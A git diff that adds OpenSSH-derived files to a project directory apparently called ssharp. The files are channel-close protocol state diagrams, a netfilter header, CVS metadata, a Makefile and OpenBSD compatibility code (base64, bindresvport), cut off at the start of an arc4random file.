"start" "" from S1.w+(-0.5,0) to S1.w +arrow from S2.ne to S4.sw +box invis "rcvd OCLOSE/ " with .e at last arrow.c +box invis " send IEOF" with .w at last arrow.c +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse "OUTPUT" "WAIT" "IEOF" +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow "" "write_failed/" "shutdown_write" "send OCLOSE" from S1.e to S3.w +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "send OCLOSE" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd IEOF/" "-" with .e at last arrow.c +arrow from S3.s to S4.n +box invis "rcvd IEOF/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an IEOF message to the peer. +If the peer receives the IEOF and has consumed all +data he replies with an OCLOSE. +When the local instance receives the OCLOSE +he considers the INPUT-half of the channel closed. +The peer has his OUTOUT-half closed. +.PP +A channel can be deallocated by a protocol instance +if both the INPUT- and the OUTOUT-half on his +side of the channel are closed. +Note that when an instance is unable to consume the +received data, he is permitted to send an OCLOSE +before the matching IEOF is received. diff --git a/other/ssharp/nchan2.ms b/other/ssharp/nchan2.ms new file mode 100644 index 0000000..1b119d1 --- /dev/null +++ b/other/ssharp/nchan2.ms @@ -0,0 +1,64 @@ +.TL +OpenSSH Channel Close Protocol 2.0 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "INPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "rcvd CLOSE/" "shutdown_read" with .sw at last arrow.c +arrow "ibuf_empty ||" "rcvd CLOSE/" "send EOF" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "write_failed/" "shutdown_write" with .sw at last arrow.c +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd EOF ||" "rcvd CLOSE/" "-" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an EOF message to the peer. +.PP +A CLOSE message is sent to the peer if +both the INPUT- and the OUTOUT-half of the local +end of the channel are closed. +.PP +The channel can be deallocated by a protocol instance +if a CLOSE message he been both sent and received. diff --git a/other/ssharp/netfilter.h b/other/ssharp/netfilter.h new file mode 100644 index 0000000..4519355 --- /dev/null +++ b/other/ssharp/netfilter.h @@ -0,0 +1,67 @@ +#ifndef __LINUX_IP_NETFILTER_H +#define __LINUX_IP_NETFILTER_H + +/* IPv4-specific defines for netfilter. + * (C)1998 Rusty Russell -- This code is GPL. + */ + +#include +#include + +/* IP Cache bits. */ +/* Src IP address. */ +#define NFC_IP_SRC 0x0001 +/* Dest IP address. */ +#define NFC_IP_DST 0x0002 +/* Input device. */ +#define NFC_IP_IF_IN 0x0004 +/* Output device. */ +#define NFC_IP_IF_OUT 0x0008 +/* TOS. */ +#define NFC_IP_TOS 0x0010 +/* Protocol. */ +#define NFC_IP_PROTO 0x0020 +/* IP options. */ +#define NFC_IP_OPTIONS 0x0040 +/* Frag & flags. */ +#define NFC_IP_FRAG 0x0080 + +/* Per-protocol information: only matters if proto match. */ +/* TCP flags. */ +#define NFC_IP_TCPFLAGS 0x0100 +/* Source port. */ +#define NFC_IP_SRC_PT 0x0200 +/* Dest port. */ +#define NFC_IP_DST_PT 0x0400 +/* Something else about the proto */ +#define NFC_IP_PROTO_UNKNOWN 0x2000 + +/* IP Hooks */ +/* After promisc drops, checksum checks. */ +#define NF_IP_PRE_ROUTING 0 +/* If the packet is destined for this box. */ +#define NF_IP_LOCAL_IN 1 +/* If the packet is destined for another interface. */ +#define NF_IP_FORWARD 2 +/* Packets coming from a local process. */ +#define NF_IP_LOCAL_OUT 3 +/* Packets about to hit the wire. */ +#define NF_IP_POST_ROUTING 4 +#define NF_IP_NUMHOOKS 5 + + +#ifdef CONFIG_NETFILTER_DEBUG +#ifdef __KERNEL__ +void nf_debug_ip_local_deliver(struct sk_buff *skb); +void nf_debug_ip_loopback_xmit(struct sk_buff *newskb); +void nf_debug_ip_finish_output2(struct sk_buff *skb); +#endif /*__KERNEL__*/ +#endif /*CONFIG_NETFILTER_DEBUG*/ + +/* Arguments for setsockopt SOL_IP: */ +/* 2.0 firewalling went from 64 through 71 (and +256, +512, etc). */ +/* 2.2 firewalling (+ masq) went from 64 through 76 */ +/* 2.4 firewalling went 64 through 67. */ +#define SO_ORIGINAL_DST 80 + +#endif /*__LINUX_IP_NETFILTER_H*/ diff --git a/other/ssharp/openbsd-compat/CVS/Entries b/other/ssharp/openbsd-compat/CVS/Entries new file mode 100644 index 0000000..1b578be --- /dev/null +++ b/other/ssharp/openbsd-compat/CVS/Entries @@ -0,0 +1,67 @@ +/Makefile.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/base64.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/base64.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bindresvport.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bindresvport.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-arc4random.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-arc4random.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-cygwin_util.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-cygwin_util.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-misc.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-misc.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-nextstep.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-nextstep.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-snprintf.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-snprintf.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-waitpid.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bsd-waitpid.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/daemon.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/daemon.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-gai-errnos.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-getaddrinfo.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-getaddrinfo.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-getnameinfo.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-getnameinfo.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-queue.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-regex.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fake-socket.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getcwd.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getcwd.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getgrouplist.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getgrouplist.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getusershell.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getusershell.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/glob.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/glob.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_aton.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_aton.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_ntoa.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_ntoa.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_ntop.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/inet_ntop.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mktemp.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mktemp.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/openbsd-compat.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/realpath.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/realpath.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rresvport.c/1.3/Wed Sep 26 16:03:10 2001//Trel-0-51 +/rresvport.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/setenv.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/setenv.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/setproctitle.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/setproctitle.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sigact.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sigact.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strlcat.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strlcat.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strlcpy.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strlcpy.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strmode.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strmode.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strsep.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strsep.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strtok.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/strtok.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/vis.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/vis.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/openbsd-compat/CVS/Repository b/other/ssharp/openbsd-compat/CVS/Repository new file mode 100644 index 0000000..e73c637 --- /dev/null +++ b/other/ssharp/openbsd-compat/CVS/Repository @@ -0,0 +1 @@ +ssharp/openbsd-compat diff --git a/other/ssharp/openbsd-compat/CVS/Root b/other/ssharp/openbsd-compat/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/openbsd-compat/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/openbsd-compat/CVS/Tag b/other/ssharp/openbsd-compat/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/openbsd-compat/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/openbsd-compat/Makefile.in b/other/ssharp/openbsd-compat/Makefile.in new file mode 100644 index 0000000..0e99d8e --- /dev/null +++ b/other/ssharp/openbsd-compat/Makefile.in @@ -0,0 +1,39 @@ +# $Id: Makefile.in,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + +sysconfdir=@sysconfdir@ +piddir=@piddir@ +srcdir=@srcdir@ +top_srcdir=@top_srcdir@ + +VPATH=@srcdir@ +CC=@CC@ +LD=@LD@ +CFLAGS=@CFLAGS@ +CPPFLAGS=-I. -I.. -I$(srcdir) -I$(srcdir)/.. @CPPFLAGS@ @DEFS@ +LIBS=@LIBS@ +AR=@AR@ +RANLIB=@RANLIB@ +INSTALL=@INSTALL@ +LDFLAGS=-L. @LDFLAGS@ + +OPENBSD=base64.o bindresvport.o daemon.o getcwd.o getgrouplist.o getusershell.o glob.o inet_aton.o inet_ntoa.o inet_ntop.o mktemp.o realpath.o rresvport.o setenv.o setproctitle.o sigact.o strlcat.o strlcpy.o strmode.o strsep.o strtok.o vis.o + +COMPAT=bsd-arc4random.o bsd-cygwin_util.o bsd-misc.o bsd-nextstep.o bsd-snprintf.o bsd-waitpid.o fake-getaddrinfo.o fake-getnameinfo.o + +.c.o: + $(CC) $(CFLAGS) $(CPPFLAGS) -c $< + +all: libopenbsd-compat.a + +$(COMPAT): ../config.h +$(OPENBSD): ../config.h + +libopenbsd-compat.a: $(COMPAT) $(OPENBSD) + $(AR) rv $@ $(COMPAT) $(OPENBSD) + $(RANLIB) $@ + +clean: + rm -f *.o *.a core + +distclean: clean + rm -f Makefile *~ diff --git a/other/ssharp/openbsd-compat/base64.c b/other/ssharp/openbsd-compat/base64.c new file mode 100644 index 0000000..d12b993 --- /dev/null +++ b/other/ssharp/openbsd-compat/base64.c @@ -0,0 +1,316 @@ +/* $OpenBSD: base64.c,v 1.3 1997/11/08 20:46:55 deraadt Exp $ */ + +/* + * Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +/* + * Portions Copyright (c) 1995 by International Business Machines, Inc. + * + * International Business Machines, Inc. (hereinafter called IBM) grants + * permission under its copyrights to use, copy, modify, and distribute this + * Software with or without fee, provided that the above copyright notice and + * all paragraphs of this notice appear in all copies, and that the name of IBM + * not be used in connection with the marketing of any product incorporating + * the Software or modifications thereof, without specific, written prior + * permission. + * + * To the extent it has a right to do so, IBM grants an immunity from suit + * under its patents, if any, for the use, sale or manufacture of products to + * the extent that such products are used for performing Domain Name System + * dynamic updates in TCP/IP networks by means of the Software. No immunity is + * granted for any product per se or for any other function of any product. + * + * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL, + * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING + * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN + * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES. + */ + +#include "config.h" + +#if !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include "base64.h" + +#define Assert(Cond) if (!(Cond)) abort() + +static const char Base64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const char Pad64 = '='; + +/* (From RFC1521 and draft-ietf-dnssec-secext-03.txt) + The following encoding technique is taken from RFC 1521 by Borenstein + and Freed. It is reproduced here in a slightly edited form for + convenience. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a quantity. When fewer than 24 input + bits are available in an input group, zero bits are added (on the + right) to form an integral number of 6-bit groups. Padding at the + end of the data is performed using the '=' character. + + Since all base64 input is an integral number of octets, only the + ------------------------------------------------- + following cases can arise: + + (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded + output will be an integral multiple of 4 characters + with no "=" padding, + (2) the final quantum of encoding input is exactly 8 bits; + here, the final unit of encoded output will be two + characters followed by two "=" padding characters, or + (3) the final quantum of encoding input is exactly 16 bits; + here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + +int +b64_ntop(u_char const *src, size_t srclength, char *target, size_t targsize) +{ + size_t datalength = 0; + u_char input[3]; + u_char output[4]; + int i; + + while (2 < srclength) { + input[0] = *src++; + input[1] = *src++; + input[2] = *src++; + srclength -= 3; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + output[3] = input[2] & 0x3f; + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + Assert(output[3] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + target[datalength++] = Base64[output[2]]; + target[datalength++] = Base64[output[3]]; + } + + /* Now we worry about padding. */ + if (0 != srclength) { + /* Get what's left. */ + input[0] = input[1] = input[2] = '\0'; + for (i = 0; i < srclength; i++) + input[i] = *src++; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + if (srclength == 1) + target[datalength++] = Pad64; + else + target[datalength++] = Base64[output[2]]; + target[datalength++] = Pad64; + } + if (datalength >= targsize) + return (-1); + target[datalength] = '\0'; /* Returned value doesn't count \0. */ + return (datalength); +} + +/* skips all whitespace anywhere. + converts characters, four at a time, starting at (or after) + src from base - 64 numbers into three 8 bit bytes in the target area. + it returns the number of data bytes stored at the target, or -1 on error. + */ + +int +b64_pton(char const *src, u_char *target, size_t targsize) +{ + int tarindex, state, ch; + char *pos; + + state = 0; + tarindex = 0; + + while ((ch = *src++) != '\0') { + if (isspace(ch)) /* Skip whitespace anywhere. */ + continue; + + if (ch == Pad64) + break; + + pos = strchr(Base64, ch); + if (pos == 0) /* A non-base64 character. */ + return (-1); + + switch (state) { + case 0: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] = (pos - Base64) << 2; + } + state = 1; + break; + case 1: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 4; + target[tarindex+1] = ((pos - Base64) & 0x0f) + << 4 ; + } + tarindex++; + state = 2; + break; + case 2: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 2; + target[tarindex+1] = ((pos - Base64) & 0x03) + << 6; + } + tarindex++; + state = 3; + break; + case 3: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64); + } + tarindex++; + state = 0; + break; + } + } + + /* + * We are done decoding Base-64 chars. Let's see if we ended + * on a byte boundary, and/or with erroneous trailing characters. + */ + + if (ch == Pad64) { /* We got a pad char. */ + ch = *src++; /* Skip it, get next. */ + switch (state) { + case 0: /* Invalid = in first position */ + case 1: /* Invalid = in second position */ + return (-1); + + case 2: /* Valid, means one byte of info */ + /* Skip any number of spaces. */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + break; + /* Make sure there is another trailing = sign. */ + if (ch != Pad64) + return (-1); + ch = *src++; /* Skip the = */ + /* Fall through to "single trailing =" case. */ + /* FALLTHROUGH */ + + case 3: /* Valid, means two bytes of info */ + /* + * We know this char is an =. Is there anything but + * whitespace after it? + */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + return (-1); + + /* + * Now make sure for cases 2 and 3 that the "extra" + * bits that slopped past the last full byte were + * zeros. If we don't check them, they become a + * subliminal channel. + */ + if (target && target[tarindex] != 0) + return (-1); + } + } else { + /* + * We ended by seeing the end of the string. Make sure we + * have no partial bytes lying around. + */ + if (state != 0) + return (-1); + } + + return (tarindex); +} + +#endif /* !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) */ diff --git a/other/ssharp/openbsd-compat/base64.h b/other/ssharp/openbsd-compat/base64.h new file mode 100644 index 0000000..b4d1238 --- /dev/null +++ b/other/ssharp/openbsd-compat/base64.h @@ -0,0 +1,18 @@ +/* $Id: base64.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_BASE64_H +#define _BSD_BASE64_H + +#include "config.h" + +#ifndef HAVE___B64_NTOP +# ifndef HAVE_B64_NTOP +int b64_ntop(u_char const *src, size_t srclength, char *target, + size_t targsize); +int b64_pton(char const *src, u_char *target, size_t targsize); +# endif /* !HAVE_B64_NTOP */ +# define __b64_ntop b64_ntop +# define __b64_pton b64_pton +#endif /* HAVE___B64_NTOP */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/ssharp/openbsd-compat/bindresvport.c b/other/ssharp/openbsd-compat/bindresvport.c new file mode 100644 index 0000000..332bcb0 --- /dev/null +++ b/other/ssharp/openbsd-compat/bindresvport.c @@ -0,0 +1,123 @@ +/* This file has be modified from the original OpenBSD source */ + +/* + * Sun RPC is a product of Sun Microsystems, Inc. and is provided for + * unrestricted use provided that this legend is included on all tape + * media and as a part of the software program in whole or part. Users + * may copy or modify Sun RPC without charge, but are not authorized + * to license or distribute it to anyone else except as part of a product or + * program developed by the user. + * + * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE + * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR + * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE. + * + * Sun RPC is provided with no support and without any obligation on the + * part of Sun Microsystems, Inc. to assist in its use, correction, + * modification or enhancement. + * + * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE + * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC + * OR ANY PART THEREOF. + * + * In no event will Sun Microsystems, Inc. be liable for any lost revenue + * or profits or other special, indirect and consequential damages, even if + * Sun has been advised of the possibility of such damages. + * + * Sun Microsystems, Inc. + * 2550 Garcia Avenue + * Mountain View, California 94043 + */ + +#include "config.h" + +#ifndef HAVE_BINDRESVPORT_SA + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: bindresvport.c,v 1.13 2000/01/26 03:43:21 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +/* + * Copyright (c) 1987 by Sun Microsystems, Inc. + * + * Portions Copyright(C) 1996, Jason Downs. All rights reserved. + */ + +#include "includes.h" + +#define STARTPORT 600 +#define ENDPORT (IPPORT_RESERVED - 1) +#define NPORTS (ENDPORT - STARTPORT + 1) + +/* + * Bind a socket to a privileged IP port + */ +int +bindresvport_sa(sd, sa) + int sd; + struct sockaddr *sa; +{ + int error, af; + struct sockaddr_storage myaddr; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + u_int16_t *portp; + u_int16_t port; + socklen_t salen; + int i; + + if (sa == NULL) { + memset(&myaddr, 0, sizeof(myaddr)); + sa = (struct sockaddr *)&myaddr; + + if (getsockname(sd, sa, &salen) == -1) + return -1; /* errno is correctly set */ + + af = sa->sa_family; + memset(&myaddr, 0, salen); + } else + af = sa->sa_family; + + if (af == AF_INET) { + sin = (struct sockaddr_in *)sa; + salen = sizeof(struct sockaddr_in); + portp = &sin->sin_port; + } else if (af == AF_INET6) { + sin6 = (struct sockaddr_in6 *)sa; + salen = sizeof(struct sockaddr_in6); + portp = &sin6->sin6_port; + } else { + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + port = ntohs(*portp); + if (port == 0) + port = (arc4random() % NPORTS) + STARTPORT; + + /* Avoid warning */ + error = -1; + + for(i = 0; i < NPORTS; i++) { + *portp = htons(port); + + error = bind(sd, sa, salen); + + /* Terminate on success */ + if (error == 0) + break; + + /* Terminate on errors, except "address already in use" */ + if ((error < 0) && !((errno == EADDRINUSE) || (errno == EINVAL))) + break; + + port++; + if (port > ENDPORT) + port = STARTPORT; + } + + return (error); +} + +#endif /* HAVE_BINDRESVPORT_SA */ diff --git a/other/ssharp/openbsd-compat/bindresvport.h b/other/ssharp/openbsd-compat/bindresvport.h new file mode 100644 index 0000000..9214fab --- /dev/null +++ b/other/ssharp/openbsd-compat/bindresvport.h @@ -0,0 +1,12 @@ +/* $Id: bindresvport.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_BINDRESVPORT_H +#define _BSD_BINDRESVPORT_H + +#include "config.h" + +#ifndef HAVE_BINDRESVPORT_SA +int bindresvport_sa(int sd, struct sockaddr *sa); +#endif /* !HAVE_BINDRESVPORT_SA */ + +#endif /* _BSD_BINDRESVPORT_H */ diff --git a/other/ssharp/openbsd-compat/bsd-arc4random.c b/other/ssharp/openbsd-compat/bsd-arc4random.c new file mode 100644 index 0000000..2a6744c --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-arc4random.c @@ -0,0 +1,77 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +#include "log.h" + +RCSID("$Id: bsd-arc4random.c,v 1.1.1.1 